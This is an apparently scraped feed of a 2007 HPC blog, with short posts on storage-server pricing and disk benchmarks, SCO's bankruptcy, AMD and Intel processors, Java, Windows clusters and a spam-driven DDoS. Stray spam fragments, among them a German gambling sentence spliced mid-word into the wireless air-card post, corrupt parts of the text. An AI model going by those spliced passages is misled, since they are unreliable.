pricing data on the JackRabbit site. https://blog.scalability.org/2007/10/how-pricing-has-changed-over-time/ Mon, 01 Oct 2007 13:51:09 +0000 https://blog.scalability.org/2007/10/how-pricing-has-changed-over-time/ Wow… we ran through a pricing update for JackRabbit last week in preparation for several marketing events/shows, and wow … what a difference several months make. Everything (but the chassis) has fallen significantly in price. Which means we were able to lower our prices, significantly. Looking at the gamut, only at the very low end of the offerings, is the pricing greater than $1/GB. Everywhere else, the pricing is less than $1/GB. https://blog.scalability.org/2007/09/raw-data/ Sun, 23 Sep 2007 17:31:55 +0000 https://blog.scalability.org/2007/09/raw-data/ So here are are generating load for a JackRabbit test. A prospective partner wants to know what it can handle. Fair enough, we would like to know if we can push it to its limits. Basic test: 4-way channel bond gigabit, with NFS export. 4 client machines mounting this, all generating load via iozone. Iozone run like this: I started out with a motley crew of client hosts, all running whatever version of Linux, figuring this would be fine. https://blog.scalability.org/2007/09/iozone-out-where-the-buffalo-roam/ Thu, 20 Sep 2007 14:12:47 +0000 https://blog.scalability.org/2007/09/iozone-out-where-the-buffalo-roam/ or something like that. Running IOzone (slightly modified to be able to run in a region far outside cache) on JackRabbit-s. 8TB raw, using a 5.5TB partition of 13 drives in a RAID6. Run is done via As soon as it finishes, I will put the excel file up for download. We are seeing pretty good performance. Here is a snippet: [ ](http://scalability.org/images/iozone-big.png) The file sizes are 64 GB, 128 GB, 256 GB, 512 GB, and 1 TB (last row). https://blog.scalability.org/2007/09/ok-that-does-it/ Mon, 17 Sep 2007 23:55:41 +0000 https://blog.scalability.org/2007/09/ok-that-does-it/ After reading this at that bastion of high value reporting, Valleywag, I am henceforce going to borrow … er … steal … er … use Amir’s idea and call HPC what it really is. Social (and physical) networking for highly autistic AI Processing elements. Yeah, they are highly focused. On computing. And networking. Need a name for this. I know, SNAP. Yeah. There we go. And a logo. [ ](http://scalability.org/images/snap.jpg) https://blog.scalability.org/2007/09/panta-closes-lightspace-technology-put-on-ice/ Mon, 17 Sep 2007 22:57:39 +0000 https://blog.scalability.org/2007/09/panta-closes-lightspace-technology-put-on-ice/ I had not written about this two weeks ago when I learned of it, but Panta Systems, a pioneer in flexible HPC and computing systems, closed its doors. Details are sketchy, basically they were unable to find a buyer is what I have heard. They were pursuing VC money about a year ago, though I am not sure what happened. Best guess, based upon conversations, was that they ran out of money. https://blog.scalability.org/2007/09/the-future-of-cell/ Mon, 17 Sep 2007 22:39:05 +0000 https://blog.scalability.org/2007/09/the-future-of-cell/ In an article today, a report noted that Sony may be trying to sell off its fabs that make the Cell BE processor. This is, to quote the article Remember, there are 3 partners working on this: IBM, Sony, and Toshiba. Sony is using these in the PS3, which by all accounts are not selling well. PS3’s are badly crippled for computing (rumor has it that this is the case as a result of an agreement with IBM), and are having a hard time against Wii and others. https://blog.scalability.org/2007/09/more-comments-this-weekend-on-sco/ Mon, 17 Sep 2007 04:47:04 +0000 https://blog.scalability.org/2007/09/more-comments-this-weekend-on-sco/ It turns out that others, who know far more about the law than I do (I am not a lawyer, and don’t give legal advice) are suggesting that chapter 11 is less likely. They did a similar analysis, though with more legal detail. Worth the read. The punchline is that someone may have advised them that this was a good idea, and that an external analysis seems to show that this plan was a very bad one for SCO. https://blog.scalability.org/2007/09/saying-it-out-loud/ Sat, 15 Sep 2007 22:04:51 +0000 https://blog.scalability.org/2007/09/saying-it-out-loud/ Ok, I need to ask this. Was the September 10th Barcelona launch, a paper launch? I can’t seem to find any in the channel. We have customers interested in them, and yes, I can get pricing. But delivery? Or delivery dates? Hmmmmmmmmmm….. AMD, please remember my suggestion for 8 core. It shouldn’t be hard. And if you don’t do something like that I can guarantee your competitor will. https://blog.scalability.org/2007/09/sco-asks-court-to-protect-it-from-having-to-pay-its-acknowledged-debts/ Sat, 15 Sep 2007 01:07:33 +0000 https://blog.scalability.org/2007/09/sco-asks-court-to-protect-it-from-having-to-pay-its-acknowledged-debts/ Yes, SCO filed for chapter 11 protection from its creditors today. I guess I find it odd, as they did not appear to be in debt. Call me naive, but, in order to get Chapter 11 protection, mustn’t you already be in debt and unable to pay your creditors? From our friends at Yahoo: That is, SCO has no debt on its balance sheet. Oh, that is, unless they came around to Novell’s position. https://blog.scalability.org/2007/09/quote-of-the-day-from-the-inquirer/ Wed, 12 Sep 2007 18:56:28 +0000 https://blog.scalability.org/2007/09/quote-of-the-day-from-the-inquirer/ Ok, this was perfect for a sleepy wednesday … I haven’t said much about Barcelona. Yeah, it released. Yeah, I want to play with some. No, I don’t have any (big hint there AMD….) The Inquirer has an article on power, and some of the press (mis)interactions currently going on with AMD. And a little commentary. This gem was in the commentary … Yeah, well, thats about the size of it. https://blog.scalability.org/2007/09/some-jackrabbit-s-benchmarks/ Wed, 12 Sep 2007 16:49:06 +0000 https://blog.scalability.org/2007/09/some-jackrabbit-s-benchmarks/ Have a new JackRabbit-S unit in the lab, 5.5TB (16 drive unit, 2 allocated for OS, 1 for hot spare, RAID6 built out of remaining 13 drives). and dbench output a really simple script: #!/bin/bash sync echo -n "start at " date dd if=/dev/zero of=/local/big.file bs=134217728 count=100 oflag=direct sync echo -n "stop at " date and its results Hmmm…. on a 16 GB machine, even with the sync’s I am worried about cache. https://blog.scalability.org/2007/09/sun-snags-cfslustre/ Wed, 12 Sep 2007 15:19:31 +0000 https://blog.scalability.org/2007/09/sun-snags-cfslustre/ See this PR. Since HP, IBM, etc all support Lustre on their systems (as does my $day job), this should prove to be interesting. Will they keep supporting it, or run away to pNFS? I suspect the latter. Storage clusters are going into overdrive. Storage software is growing rapidly, especially the clustered software. Go figure. https://blog.scalability.org/2007/09/core-memory-returns/ Wed, 12 Sep 2007 01:22:54 +0000 https://blog.scalability.org/2007/09/core-memory-returns/ I saw this linked off of /.. Core memory returns, though this core memory is not using magnetization of cores, but motion of cores. Since this is mechanical, I wonder how they are going to protect against shocks sufficient to exceed the coefficient of static friction … not to mention eigen-modes of the long racetrack wires. This should be fun to watch as it develops.икони https://blog.scalability.org/2007/09/i-admit-it-i-like-clovertown/ Fri, 07 Sep 2007 15:47:13 +0000 https://blog.scalability.org/2007/09/i-admit-it-i-like-clovertown/ I have a desktop box here, 8 cores, 8 GB ram, using it for some development and testing. This is a nice box. Not expensive. Linux on it (OpenSuSE 10.2), and some disk (900GB). All it needs is a good graphics card and it is an awesome workstation. The graphics card I am using now is the motherboard adapter based unit. It is sweet to be doing compiles and simply type “make -j8” and have this puppy crank. https://blog.scalability.org/2007/09/netapp-sues-sun-over-patents-in-zfs/ Thu, 06 Sep 2007 11:56:23 +0000 https://blog.scalability.org/2007/09/netapp-sues-sun-over-patents-in-zfs/ See this link . Not good for ZFS. A day after someone posted an amusing and somewhat contradictory set of reasons why they preferred Sun x4500 to JackRabbit (including the “if a RAID card fails you have to replace it, and this is bad” in close temporal proximity to “the SATA controller failed and we had to replace the motherboard”, with the first offered up as to why JackRabbit was not as good as x4500, and the second as to why x4500 was better … you can read this amusing gem on the beowulf list if you wish …) we see ZFS being attacked on patent grounds. https://blog.scalability.org/2007/09/solaris-v-linux-the-im-not-dead-yet-battle/ Tue, 04 Sep 2007 13:37:16 +0000 https://blog.scalability.org/2007/09/solaris-v-linux-the-im-not-dead-yet-battle/ The market has largely converged on two OSes going forward. Unix demand and sales have been giving way according to IDC and others for the past few years. Linux has been and continues to take market and mind share away from it. Most OEMs realize this. There was a legal battle over this, now preparing for the fat lady with the Viking hat to start belting out her tune. And in a Monty Python-esque manner, one of the combatants says “I’m not dead yet, I think I will go for a walk”. https://blog.scalability.org/2007/09/whither-barcelona-well-here/ Tue, 04 Sep 2007 13:07:49 +0000 https://blog.scalability.org/2007/09/whither-barcelona-well-here/ Barcelona vs Xeon. 2.0 GHz Barcelona vs 2.33 GHz Clovertown. Punchline: SpecFP 78 for Barcelona, 60 for Xeon. Must be an old video. Xeon 5345 is not the highest performing Xeon, that is the 5365 at 3 GHz. About 29% “faster” than the 2.33 GHz version. This should put the 3 GHz Xeon on performance parity with the 2GHz Barcelona. But the Barcelona has a better memory system. And a better internal processor “bus” (yeah, not a bus, but a fabric). https://blog.scalability.org/2007/08/idc-server-numbers-for-most-recent-quarteryear/ Fri, 24 Aug 2007 17:45:20 +0000 https://blog.scalability.org/2007/08/idc-server-numbers-for-most-recent-quarteryear/ This is useful in various contexts. We keep hearing from various quarters about how well they are doing, “beating” the competition. Well, at the end of the day, its what people do, not what they say that matters. From Supercomputingonline: Ok, lets work a little math: 1.8B$/5.0B$ US is … 0.36 That is the newly purchased Linux server market is 36% the size of the newly purchased windows server market, and growing. https://blog.scalability.org/2007/08/sun-to-become-java/ Fri, 24 Aug 2007 13:27:14 +0000 https://blog.scalability.org/2007/08/sun-to-become-java/ This morning, /. reports Ok, its not their name. Just their ticker symbol. But why? Well their CEO says something here … [wipes monitor from spewed coffee] Quoting Inigo Montoya I make no bones about that I think Java is massively overhyped, overblown. It is a solution looking for a problem from the previous decade, which really didn’t exist back then either. But today we are stuck with its 32 bit legacy. https://blog.scalability.org/2007/08/the-future-of-hpc/ Fri, 24 Aug 2007 04:34:01 +0000 https://blog.scalability.org/2007/08/the-future-of-hpc/ Some of us have been arguing for a while that the future of HPC is aSMP (asymmetric processing) or heterogeneous processing. Others have argued that the future is massive multicore. In the aSMP world view, there are camps forming between RC (reconfigurable computing) and GPU/Cell-like computing. Here is what is interesting. In an article just posted in HPCWire, an “anonymous” writer, whom in the past has argued the vector case strenuously, makes an extremely good analysis of the issues in front of us. https://blog.scalability.org/2007/08/tilera/ Tue, 21 Aug 2007 16:06:01 +0000 https://blog.scalability.org/2007/08/tilera/ Over at Accelerated Times, an article was posted about the Tilera. Now I haven’t heard much about Tilera, other than pre-releases. [update: look at the comment here] The author focuses on several important aspects. The business model, the money raise, are they are where they say they are. What strikes me is that if they raised a B-round, this usually … usually happens post initial revenue, when you start to see interest and traction. https://blog.scalability.org/2007/08/a-new-blog/ Tue, 21 Aug 2007 15:18:39 +0000 https://blog.scalability.org/2007/08/a-new-blog/ Have a look at Accelerated Times. https://blog.scalability.org/2007/08/the-fat-lady-is-about-to-sing/ Tue, 21 Aug 2007 04:55:26 +0000 https://blog.scalability.org/2007/08/the-fat-lady-is-about-to-sing/ (relevance to HPC: some of the companies that effectively bankrolled this effort have been trying to leverage it against Linux, in the HPC space, and have managed to cause customers confusion. ..) Can’t get any more cliche' than that. /. links to an arstechnica article on SCO. Turns out the ruling knocked out any pillar of hope for thie rapidly fading company. Their only real hope now is for a white knight. https://blog.scalability.org/2007/08/there-are-times-when-i-ask-myself-why/ Tue, 21 Aug 2007 04:25:26 +0000 https://blog.scalability.org/2007/08/there-are-times-when-i-ask-myself-why/ This is a very short missive about Java. I am tired of a complete lack of official 64 bit support for Java in browsers. Then again, using Java in your browser is a pretty sure way to crash your browser. It certainly makes fast systems slow, and slow systems unusable. I think it is time we all took Nancy Reagan’s advice, and “just say no” to Java. Its waaaaay past time. https://blog.scalability.org/2007/08/dragonfly-pre-pre-alpha/ Mon, 20 Aug 2007 23:38:57 +0000 https://blog.scalability.org/2007/08/dragonfly-pre-pre-alpha/ I mean really, pre pre pre … pre alpha. Did I mention that it is pre pre pre … pre alpha? Takes flight here. Still a ways to go. RIP SICE. Update: DragonFly is our next gen user interface for clusters. SICE is our previous gen, it had been around for years, and was long in the tooth. DragonFly will be dual licensed, and as soon as we get all the hooks together, we will release code. https://blog.scalability.org/2007/08/acceleration-meme/ Mon, 20 Aug 2007 14:46:15 +0000 https://blog.scalability.org/2007/08/acceleration-meme/ Amir at Reconfigurable Computing Blog (welcome back Amir!) notes We have been making the arguments (and pitching) accelerated computing for years. Almost half a decade. Scary. We see in other peoples marketing materials, pitches, etc things we have said years ago. In one particularly egregious example, a potential competitor had some of our slides in their online presentation. Makes you really love to deal with “no-NDA” VCs. I agree with Amir that the meme has been catching on for a while. https://blog.scalability.org/2007/08/the-good-the-bad-and-the-ugly/ Sat, 18 Aug 2007 22:32:08 +0000 https://blog.scalability.org/2007/08/the-good-the-bad-and-the-ugly/ Why do we blog, and why do we read blogs, and what does what we read and write say about who we are, what we think, and how we act? Robin at Storagemojo (great blog) talks about the nuances of corporate blogging, and shows some stuff from IBM on the policies of blogging, as well as some stuff from an informal EMC blogger. This is interesting, and as Robin points out, the IBM policy has a particularly valuable set of guidelines. https://blog.scalability.org/2007/08/buh-dee-buh-dee-buh-dee-dats-all-folks/ Sat, 11 Aug 2007 03:49:40 +0000 https://blog.scalability.org/2007/08/buh-dee-buh-dee-buh-dee-dats-all-folks/ (the above is an attempt at putting into text, what the character “Porky Pig” says when he wraps up a short cartoon) Apparently SCO is now, quite officially, down for the count, and the count has begun in earnest. According to PJ at Groklaw, we see That is almost all she wrote. The proverbial fat lady is warming up and will be coming on stage soon. SCO claimed that Linux infringed upon the code it claimed owned, and was copied. https://blog.scalability.org/2007/08/a-petaflop-here-a-petaflop-there-and-pretty-soon-you-are-talking-about-real-supercomputing/ Thu, 09 Aug 2007 04:15:18 +0000 https://blog.scalability.org/2007/08/a-petaflop-here-a-petaflop-there-and-pretty-soon-you-are-talking-about-real-supercomputing/ NSF formally announced their awards which other had hinted at over the past few weeks. These machines will be “500x faster than todays supercomputers”. How this will occur in 5 years, is well, not know. Moore’s law (if it holds) gives us an order of magnitude in 5.5 years or so. So thats 50x faster than Moore’s law following units. Your options here are a) make more of them, or b) make em faster. https://blog.scalability.org/2007/08/why-something-other-than-windows-is-likely-to-win-the-desktops/ Tue, 07 Aug 2007 22:31:15 +0000 https://blog.scalability.org/2007/08/why-something-other-than-windows-is-likely-to-win-the-desktops/ … or how to bring a really fast desktop to its knees. I have desktop unit with Windows XP pro on it. It is my primary windows xp box. It is a nice 2+ GHz Athlon 64 with 1.5 GB ram. Pretty fast SATA disks. Single core, but quite fast. Or so I thought. I like to listen to internet radio while I work. Helps drown out the server noise. So I have winamp in a corner, playing something at low volume. https://blog.scalability.org/2007/08/counter-attacking-ddos-something-that-works/ Tue, 07 Aug 2007 15:25:22 +0000 https://blog.scalability.org/2007/08/counter-attacking-ddos-something-that-works/ Yesterday I told you that we were under a mail-bomb DDoS. Message rates of about 147 per minute. As our normal rate is 1-2 messages per minute, this was a 100x or more increase. Not against our normal domain name, but against one that we host. One that doesn’t have a web site. And has one email user. Obviously the people who did this are really, terribly smart. Oh yes. (keyboard dripping with sarcasm). https://blog.scalability.org/2007/08/i-dont-get-it-no-really-i-dont/ Tue, 07 Aug 2007 02:57:46 +0000 https://blog.scalability.org/2007/08/i-dont-get-it-no-really-i-dont/ Why on earth would someone launch a DDoS against us (technically a domain we host)? It is in progress right now. Main attack vector is via email/spam bots. If anyone out there wants me to gather specific data on the attack, please let me know. Pretty good logging of most things here. According my trusty mail meter, we have repelled something like 0.2M emails in one day. Ballpark of 145 messages per minute. https://blog.scalability.org/2007/08/ya-turns-yer-back-fer-justa-minute/ Mon, 06 Aug 2007 06:33:39 +0000 https://blog.scalability.org/2007/08/ya-turns-yer-back-fer-justa-minute/ [in his best Brooklyn accent] … and stuff happens. /. linked to a story on supercomputing procurement. The article is in the New York Times, and it is worth a read. Short version is that the procurement appears to have been decided 4 years in advance, and the NSF will give the DOE the machine. Well, this assumes that the reporting is in fact correct. My own experience with various media interactions tends to suggest that misquoting/rewording and semantic shift are the norm, not the exception. https://blog.scalability.org/2007/08/when-kernel-module-builds-and-installs-go-horribly-wrong/ Fri, 03 Aug 2007 16:59:15 +0000 https://blog.scalability.org/2007/08/when-kernel-module-builds-and-installs-go-horribly-wrong/ Built a new 2.6.22.1 kernel. Testing it for many things. Looks good overall, though it broke a few things when I first built it. Had to get the latest subsystem patches. Ok. I decided to use this as “the” kernel for all we are working on. Dog-food it. Put it on my laptop as well. (BTW: if anyone out there knows how to force a driver into windows, I am trying to load the AHCI driver into XP, so I can switch the system into a much faster disk mode … Dell likes loading it in ATA mode, and it is slower as a result … worse, XP refuses to load the driver when presented with it … I need to force this to happen … pointers welcome … might just have to reload XP, but I would prefer to avoid the pleasure of doing this …. https://blog.scalability.org/2007/07/mostly-ot-from-hpc-wireless-air-cards/ Wed, 01 Aug 2007 02:58:02 +0000 https://blog.scalability.org/2007/07/mostly-ot-from-hpc-wireless-air-cards/ I just picked up a Verizon Wireless PCMCIA air card to go with the new Dell laptop. The HPC connection comes from this being the unit I take with me on-site. The wireless card is a PCMCIA unit, the PC5750. It is basically a PCMCIA -> USB bridge for a modem. I installed the Verizon software in the windows XP portion (didn’t check to see if it works in XP x64, which I had been still considering reloadingPfennige bezitzen einen zu hohen wertlos Charakter und poker spiel. https://blog.scalability.org/2007/07/an-omen-or-a-taste-of-things-to-come/ Tue, 31 Jul 2007 03:53:19 +0000 https://blog.scalability.org/2007/07/an-omen-or-a-taste-of-things-to-come/ I got an interesting letter in the mail today. It was a somewhat … well … cheesy looking letter from the USPTO (US Patent and Trademark office) indicating that a patent which was applied for 7 years ago, was finally awarded. Patent number 7,249,357 if you are interested. I won’t comment on the substance of the patent. The group I worked with was absolutely top notch, and an it was an honor to be associated with them. https://blog.scalability.org/2007/07/high-user-loads/ Wed, 25 Jul 2007 21:32:59 +0000 https://blog.scalability.org/2007/07/high-user-loads/ Sorry folks, huge demand for my cycles. Has effectively stopped me from having time to write the followup bits. Will do soon. https://blog.scalability.org/2007/07/tco-the-sorta-kinda-but-not-really-argument-part-1-the-tco-study/ Sat, 21 Jul 2007 20:52:42 +0000 https://blog.scalability.org/2007/07/tco-the-sorta-kinda-but-not-really-argument-part-1-the-tco-study/ One of the more annoying parts of writing stuff for consumption online is that, every now and then, someone with an agenda, a very obvious agenda, will go off with weak arguments. One of those weak arguments that we saw yesterday was TCO. Not that TCO is a minor concern, it is a real, significant concern for management. How much something costs in the end is a sorely needed datum for any enterprise, company, entity, to make rational and realistic decisions. https://blog.scalability.org/2007/07/oh-whatta-day-the-fisking/ Sat, 21 Jul 2007 03:35:45 +0000 https://blog.scalability.org/2007/07/oh-whatta-day-the-fisking/ Yesterday, I commented on a puff piece article on Windows CCS. Go ahead and read it, the article and the commentary. This morning, I saw a comment on this same article from John at InsideHpc.com. I disagreed with John’s premise, and wrote a long article discussing this. While I respect John, I do disagree with him. But I will do so respectfully. The rest of this article will be … sarcastic … flippant … and I am going to fisk the fisking post that was derived from John’s on another site. https://blog.scalability.org/2007/07/rumor-crosswalk-is-done/ Fri, 20 Jul 2007 15:59:00 +0000 https://blog.scalability.org/2007/07/rumor-crosswalk-is-done/ Robin at Storagemojo (great blog, read it religiously) says he had heard a rumor. Yeah, I should invoke the 24 hour rule. If you are at Crosswalk, and it is still going, please let him (and me) know. Robin makes a great point there Well, ok, I take a little issue with it in that the performance driven folks now realize that stability is critical to performance. Scaling up on a bleeding edge is a sure way to have lots of down time. https://blog.scalability.org/2007/07/will-ccs-dominate-all/ Fri, 20 Jul 2007 12:58:03 +0000 https://blog.scalability.org/2007/07/will-ccs-dominate-all/ John West asks this question in a short article on HPCWire. In it he posits a few things. It is worth looking into them. First, his title is provocative, “Windows CCS and the End of *nix in HPC”. Not that this is an issue, he needs to draw readers in. Second, he shows what he is interpreting to be the fundamental conflict, that is, between end users who just want to get things done, as typified in his quote from the person who bought a windows cluster, and Don Becker, who did a pretty good job of jump starting the industry. https://blog.scalability.org/2007/07/yet-another-puff-piece/ Thu, 19 Jul 2007 01:50:16 +0000 https://blog.scalability.org/2007/07/yet-another-puff-piece/ On windows clusters. They quote Don Becker, cluster illuminati, who made some quite pointed and correct observations. They quoted some marketing types from other organizations who don’t appear to be technical, and don’t grasp what “hard to install” actually means. Aside from that, one of the least painful aspects of a cluster is “how hard it is to install”. The most painful is the cost of running it, specifically managing users, and applications. https://blog.scalability.org/2007/07/download-5-years-of-your-life/ Fri, 13 Jul 2007 01:44:33 +0000 https://blog.scalability.org/2007/07/download-5-years-of-your-life/ or mine as it turns out. Found this via a link from Google Scholar. I was looking for the HMMer acceleration paper, specifically to see if it had been cited, and found my thesis. The HPC connection has to do with the amount of simulation that went into the calculations. Way back in the good old days, 64 atom supercells took 1 week for 100 time steps on the machines we had (borrowed SGI R3000’s). https://blog.scalability.org/2007/07/guide-to-getting-ofed-12-to-build-on-opensuse/ Sun, 08 Jul 2007 14:24:54 +0000 https://blog.scalability.org/2007/07/guide-to-getting-ofed-12-to-build-on-opensuse/ Grab the tarball from the open fabrics alliance (or from here) Grab the build_new.sh from here, place it in the OFED-1.2 directory as root on your machine mv /usr/src/linux-2.6.18.2-34/include/linux/miscdevice.h /usr/src/linux-2.6.18.2-34/include/linux/miscdevice.h.original ln -s /usr/include/linux/miscdevice.h /usr/src/linux-2.6.18.2-34/include/linux/miscdevice.h Then run the build_new.sh. Voila. Works. Binary RPMs are here. https://blog.scalability.org/2007/07/gpt-installs-in-opensuse-102-grrrrrr/ Fri, 06 Jul 2007 00:42:42 +0000 https://blog.scalability.org/2007/07/gpt-installs-in-opensuse-102-grrrrrr/ Suppose you have a x86_64 box, I dunno, able to put 8+TB usable in 3U. Suppose you want to load OpenSuSE 10.2 on it. Suppose you want to keep the partitioning simple, and not do any fancy tricks to eek out another few percentage of performance, so you build your RAID6 with 2 hot spares. Now you have this big hunk-a-chunk-a disk. Now install OpenSuSE 10.2 on it. After you are done you discover …. https://blog.scalability.org/2007/07/more-about-adoption/ Wed, 04 Jul 2007 00:54:23 +0000 https://blog.scalability.org/2007/07/more-about-adoption/ Again, coming back to this, adoption rates are critical. I appreciate Patrick’s point from post 306 that Microsoft doesn’t release this data. In reading around Ken Farmer’s excellent www.winhpc.org site (sister to his excellent www.linuxhpc.org) site, I found a link to this article. I recommend reading the whole thing. Especially page 2. Here is a quote. The next portion of that paragraph is not something I understand. Uh, sure. Not clear on what this means. https://blog.scalability.org/2007/07/a-storage-question/ Wed, 04 Jul 2007 00:07:03 +0000 https://blog.scalability.org/2007/07/a-storage-question/ What would be “game changing” for you in your storage? That is, what would enable you to do things, or think of things in a completely different way if only X was true? What is X? The reason I ask this is that in short order, the Seagate 1TB drives are going to be out. I want to know if anyone thinks that this density of drive is game changing. 1000 of these drives is 1PB. https://blog.scalability.org/2007/07/developer-targeted-platforms/ Tue, 03 Jul 2007 23:54:58 +0000 https://blog.scalability.org/2007/07/developer-targeted-platforms/ As I have pointed out before, without real adoption data, it is hard to gauge whether customers are really interested in a particular platform. We know server adoption data for Linux with reasonable accuracy. At last glance it is large, and rapidly growing, outpacing the market growth, and its rivals growth. This tends to have secondary effects, on to those in a moment. We do not know desktop usage growth across the market in any detail. https://blog.scalability.org/2007/07/still-working-on-getting-tiburon-out-the-door/ Tue, 03 Jul 2007 04:59:51 +0000 https://blog.scalability.org/2007/07/still-working-on-getting-tiburon-out-the-door/ in beta form. Tiburon is the open source based framework we are using to load our clusters: computing and storage, and provide modular interfaces to manage the systems. Basically if you are deploying more then 2 nodes, or two JackRabbits, you should not, ever, have to load each system and configure it. This should be automated. But done so in an intelligent manner. And this is where I am thinking that the compute job ASL might have an analog in a management ASL. https://blog.scalability.org/2007/07/whither-x-raid-by-apple/ Mon, 02 Jul 2007 00:05:19 +0000 https://blog.scalability.org/2007/07/whither-x-raid-by-apple/ We have had a number of discussions with customers on X-RAID and related systems from Apple. Apple pioneered good low cost storage. Wasn’t terribly fast, but it came in around $2-3/GB or so. Last I priced something out for a customer it was ballpark of $2.75/GB. FWIW: JackRabbit is in the low $1.x/GB. I haven’t heard much new about X-RAID recently. Then a blog I like reading had a post about iPhone. https://blog.scalability.org/2007/07/why-we-are-where-we-are-in-the-vc-world/ Sun, 01 Jul 2007 22:26:36 +0000 https://blog.scalability.org/2007/07/why-we-are-where-we-are-in-the-vc-world/ Marc Andreessen (you should have an idea who he is if you have used a web browser at some point in your life) has an excellent post on his blog discussing the “why we are here” situation. Specific to VC and their investments. Well worth a read. Between this and TheFunded, some overall good reading for prospective, current, and former entrepreneurs, wondering, aloud sometimes in blogs, WTF … https://blog.scalability.org/2007/07/dude-i-got-a-dell/ Sun, 01 Jul 2007 21:03:13 +0000 https://blog.scalability.org/2007/07/dude-i-got-a-dell/ laptop that is. Long story. Took me too long to make up my mind (more than 96 hours). At the end of the day the issue for me was not price but specific features functionality and performance. Yeah, so I am atypical. The major contenders were IBM/Lenovo, HP, Dell, Alienware, Sager/Clevo, and one or two others. No, I did not give Apple a serious look. To be frank, I can’t stand OSX. https://blog.scalability.org/2007/06/asls-as-a-meta-language-for-cluster-jobs/ Fri, 29 Jun 2007 14:52:44 +0000 https://blog.scalability.org/2007/06/asls-as-a-meta-language-for-cluster-jobs/ Short post. I was having a conversation on how to do some things on a cluster, and an idea was born. I’ll flesh it out a little more later on, but the gist is, can we create an application specific language (platform independent, for the hordes of windows cluster users in addition to the Linux cluster groups) to handle job flow? Right now, the vast majority of queuing systems launch shell scripts. https://blog.scalability.org/2007/06/tech-support-in-olden-times/ Fri, 29 Jun 2007 14:45:55 +0000 https://blog.scalability.org/2007/06/tech-support-in-olden-times/ Yeah, I have days like this too … https://blog.scalability.org/2007/06/nice-site-on-vcs/ Thu, 28 Jun 2007 15:47:42 +0000 https://blog.scalability.org/2007/06/nice-site-on-vcs/ Have a look at TheFunded. Personally I think the current model of pitching one after another ad nausem may be inefficient. Knowing what we are getting into ahead of time with VCs is helpful. Its a shame that there is no real disinterested systematic vetting of business plans such that we can create a more efficient market for capital, by providing well vetted/organized/thought out business plans, and a relevant group of good VCs. https://blog.scalability.org/2007/06/experimental-change/ Thu, 28 Jun 2007 12:21:49 +0000 https://blog.scalability.org/2007/06/experimental-change/ Turned required registration off for comments. I want to see if our spam filters will stop the spam before it gets posted. If any shows up, it will be deleted. I want this blog to be open and bidirectional. I don’t want it to become a repository for suppository advertising. If it works, we will keep it this way. If it doesn’t we will revert to registration for comments. This has little to do with our gentle and numerous readers, it has more to do with whether or not we have the abusers appropriately fenced off. https://blog.scalability.org/2007/06/ethics-and-blogging/ Thu, 28 Jun 2007 12:13:48 +0000 https://blog.scalability.org/2007/06/ethics-and-blogging/ Saw this article linked from/. In it there was an indication that Microsoft paid some bloggers to write up stuff which later became quotes. Bloggers got income, Microsoft got leverage their quotes and their names. But is this ethical? First off, Scalability.org is not an ad-supported site. We don’t run ads. We have pretty good traffic for a small blog, but this is not anyone’s day job. The only thing it really costs me is time, and it is pretty minimal in the bigger scheme of things. https://blog.scalability.org/2007/06/good-news-on-jackrabbit-front/ Thu, 28 Jun 2007 04:53:30 +0000 https://blog.scalability.org/2007/06/good-news-on-jackrabbit-front/ The day job has signed up with an excellent partner to help grow the market for reliable and fast HPC storage servers. We have two partners in the US, one in India, and we are still working on the EU … Update: Working with them on fixing the pricing, it appears to be off. Thanks for letting me know. https://blog.scalability.org/2007/06/writing-with-a-broken-laptop/ Thu, 28 Jun 2007 04:36:02 +0000 https://blog.scalability.org/2007/06/writing-with-a-broken-laptop/ Well, the laptop is not broken, but the USB ports are. Which means my mouse doesn’t work. So I have to use the track pad. Which means as I type my mouse pointer jumps all over the place. Owie. Going to buy a new laptop soon anyway. Wish someone had a quad core out there (big evil grin) with 4 GB RAM, super nice nVidia graphics, 15.4 inch screen, 160 GB SATA 7200 RPM drive. https://blog.scalability.org/2007/06/i-hope-this-is-not-a-mistake-in-the-1tb-drive-specs-from-seagate/ Wed, 27 Jun 2007 14:28:37 +0000 https://blog.scalability.org/2007/06/i-hope-this-is-not-a-mistake-in-the-1tb-drive-specs-from-seagate/ Go have a look at the specs. Specifically at the read and write seek latencies. Everyone say it with me now …. oooooohhhhhhhhhh aaaaaaahhhhhhhh. If this is the case, then 15kRPM FC/SCSI is pretty much over. These units come in SAS and SATA at these densities. JackRabbit will be quite happy. https://blog.scalability.org/2007/06/isc-07/ Wed, 27 Jun 2007 13:43:55 +0000 https://blog.scalability.org/2007/06/isc-07/ Wish I was there. Have an injured foot, recovering slowly. Not sure what I did. Aside from that, costs to fly into Dresden were huge. Looked at Frankfurt, Berlin, Prague … Ugh. Maybe next year. Microsoft PR sent me some information pointers, I invited them to post here. Hopefully they will. I want adoption numbers. Looking over the PR and thinking it through, if they were having a massive adoption, I think that would be what they would talk about. https://blog.scalability.org/2007/06/issues-in-hpc-as-a-business-a-view-as-a-small-solutions-provider/ Wed, 27 Jun 2007 12:11:31 +0000 https://blog.scalability.org/2007/06/issues-in-hpc-as-a-business-a-view-as-a-small-solutions-provider/ One of the things all HPC vendors have to deal with is competition. This is fine, doesn’t worry me. Fair competition can be quite good, and even exciting. Its the unfair competition that bugs me. Suppose we have a potential customer X. Said customer works with us, we generate benchmark data, show them what we can do with well tuned systems. Customer likes it. Asks us for a quote. We provide one, and the price is good. https://blog.scalability.org/2007/06/an-upswell-of-interest-in-many-core-workstations/ Wed, 27 Jun 2007 12:04:49 +0000 https://blog.scalability.org/2007/06/an-upswell-of-interest-in-many-core-workstations/ At my day job, we have delivered a number of dual processor workstations to customers over the years with really nice nVidia graphics. Recently, a customer bought 2 4-core workstations, really nice nVidia graphics, and 32 GB ram, with 1 TB RAID disk. Then another asked for 4-core and 8-core workstations, which we provided. Now one of our larger customers is asking for 8-core and 16-core workstations with 32 GB ram. https://blog.scalability.org/2007/06/convergence-and-diversification/ Wed, 27 Jun 2007 11:56:15 +0000 https://blog.scalability.org/2007/06/convergence-and-diversification/ The market has been consolidating behind various OSes for a while. Reducing the number of ports reduces ISV costs. It reduces end user management headache. Curiously enough it also reduces the engineering costs of the relevant hardware vendors, but don’t tell a few of them that, as they still perceive value where they feel they can be different. Unfortunately I have a sense of mayhem in two of the converged OSes, Linux and Windows. https://blog.scalability.org/2007/06/patch-for-ofed-12-build-on-opensuse-10-with-a-nice-updated-kernel/ Mon, 25 Jun 2007 20:56:34 +0000 https://blog.scalability.org/2007/06/patch-for-ofed-12-build-on-opensuse-10-with-a-nice-updated-kernel/ Tracking this one down was fun. It turns out someone, either in SuSE-land or 